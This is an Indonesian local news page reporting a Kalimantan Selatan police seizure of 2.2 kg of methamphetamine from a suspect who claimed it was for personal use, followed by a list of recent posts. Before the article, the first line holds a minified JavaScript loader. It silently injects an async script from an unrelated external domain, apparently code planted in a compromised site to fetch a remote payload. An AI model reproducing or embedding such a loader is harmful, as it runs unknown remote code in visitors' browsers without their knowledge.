(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Mengaku Cuma Pemakai, Kai Wili Simpan 2,2 Kg Sabu dalam Tupperware


BANJARMASIN, Dari total 2,825 kg sabu yang dimusnahkan jajaran Polda Kalsel, Selasa (2/7) pagi, barang bukti terbanyak berasal dari pengungkapan kasus dengan tersangka Athma alias Kai (kakek) Wili (54) sebanyak 2,2 kg. Untuk mengelabuhi petugas, Kai Wili membagi sabu itu menjadi 26 paket besar yang dimasukkannya dalam empat kotak tupperware di dalam lemari TV.

Menurut Direktur Resnarkoba Polda Kalsel Kombes Wisnu Widarto mengatakan, terungkapnya kasus tersebut berawal dari informasi masyarakat yang dikembangkan polisi. Hingga kemudian, menggiring pada tersangka Kai Wili yang diduga sebagai pengedar sabu dalam jumlah cukup besar.

“Petugas menangkap tersangka di rumahnya di Jalan Rawasari, Kompleks Tirta Sari, Teluk Dalam, Banjarmasin Tengah, pada Kamis (16/5) dini hari,” katanya.

“Saat penangkapan tersangka, juga ditemukan barang bukti seperti timbangan digital, empat pack plastik klip, dua rol aluminium foil, satu alat pres, dua bulah labkan dan tiga ponsel, satu TIM serta lima buku catatan traksi dan uang tunai Rp 1,6 juta.

Saat itu, Kai Wili mengaku hanya menyimpan sabu seberat 2,2 kg. Ia berdalih tidak menjualnya, karena hanya untuk dipakai sendiri. Pengakuan Kai Wili ini membuat awak media dan polisi tertawa mendengarnya.

Dengan barang bukti, Kai Wili pun kini dijerat pasal berlapis. Direktur Reserse Narkoba Polda Kalsel menyebut pasal yang dikenakan adalah Pasal 114 ayat (2) jo Pasal 112 (2) UU Nomor 35 Tahun 2009. “Ancaman maksimalnya adalah hukuman mati,” tegasnya.

Selain dari Kai Wili, barang bukti terbesar kedua didapat dari pengungkapan kasus sabu jaringan Lapas Kelas IIA Banjarmasin sebanyak 539,71 gram. Dalam hal ini, polisi berhasil mengamankan dua tersangka, yang salah satunya adalah penghuni lapas Teluk Dalam.

Jaringan pengedar yang dikendalikan narapidana bernama Taufiq Sidqi (45) itu diungkap Tim Subdit 1 Ditresnarkoba Polda Kalsel yang dipimpin Kompol Ugeng Sudia Permana. Awalnya petugas menangkap tersangka lain bernama Dwi Cahya Kurniawan (35) pada Jumat, 21 Juni 2019 di rumahnya, Jalan Mahligai Kompleks Marhamah, Desa Kertak Hanyar, Kecamatan Kertak Hanyar, Kabupaten Banjar. Dari tangan bersangkutan, polisi menemukan 14 paket sabu dengan berat 539,71 gram.(rico)

Reporter:Rico
Editor:Cell

Desy Arfianty

Recent Posts

Kuliner Gratis dan Panjat Pinang Warnai Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Ribuan warga mendatangi lokasi peringatan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara… Read More

14 menit ago

Peringatan Hari Jadi ke-72 Kabupaten HSU, Paman Birin: Syukuri Capaian Pembangunan

KANALKALIMANTAN.COM, AMUNTAI - Gubernur Kalimantan Selatan (Kalsel) H Sahbirin Noor menilai sebuah pembangunan tidak terlepas… Read More

48 menit ago

DBD di Banjarbaru Tak Mengenal Musim, 366 Kasus Periode Januari-April

KANALKALIMANTAN.COM, BANJARBARU - Kasus Demam Berdarah Dengue (DBD) di Kota Banjarbaru dalam empat bulan terakhir… Read More

3 jam ago

Unjuk Rasa Mahasiswa di Rumah Banjar, Komersialiasi Dunia Pendidikan Jadi Sorotan

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah mahasiswa yang tergabung dalam Badan Eksekutif Mahasiswa (BEM) se Kalimantan Selatan… Read More

3 jam ago

Silaturahmi Bersama Buruh-Kapolda, Serikat Pekerja Kalsel Tetap Menolak UU Ciptaker Hapus Outsourcing

KANALKALIMANTAN.COM, BANJARMASIN - Moment Hari Buruh 1 Mei 2024 dirayakan berbeda oleh kalangan buruh yang… Read More

5 jam ago

KPU Banjarbaru Rencanakan Launching Pilkada 2024 Akhir Mei

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar audiensi bersama Wali Kota Banjarbaru,… Read More

7 jam ago

This website uses cookies.